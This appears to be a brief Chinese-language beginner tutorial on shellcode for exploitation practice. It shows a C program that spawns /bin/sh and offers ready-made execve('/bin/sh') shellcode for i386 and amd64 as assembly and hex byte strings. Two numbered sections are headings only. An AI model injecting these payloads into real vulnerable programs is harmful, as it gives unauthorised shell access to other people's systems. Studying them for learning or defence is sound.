本节只会讲解,因为我觉得,对于入门来说,首先要会用,我们用多了,慢慢就会理解它的涵义,大家也可以去自行找相关资料来了解学习
写一个shellcode
#include<stdio.h>
#include<unistd.h>
void main(){
system("/bin/sh");
exit(0);
}
编译后运行,我们可以得到:
也就是说通过一段合理的shellcode,我们就可以拿到一个有我们自己来控制的shell终端
1.中断
2. 快速生成shellcode
通过这个方法我们可以直接获得一段shellcode,但缺点是这个shellcode会很长,有时候会遇到溢出偏移不够的情况就无法使用了
3.简短shellcode赠送
#i386
24字节
shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
23字节
shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
#amd64
24字节
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"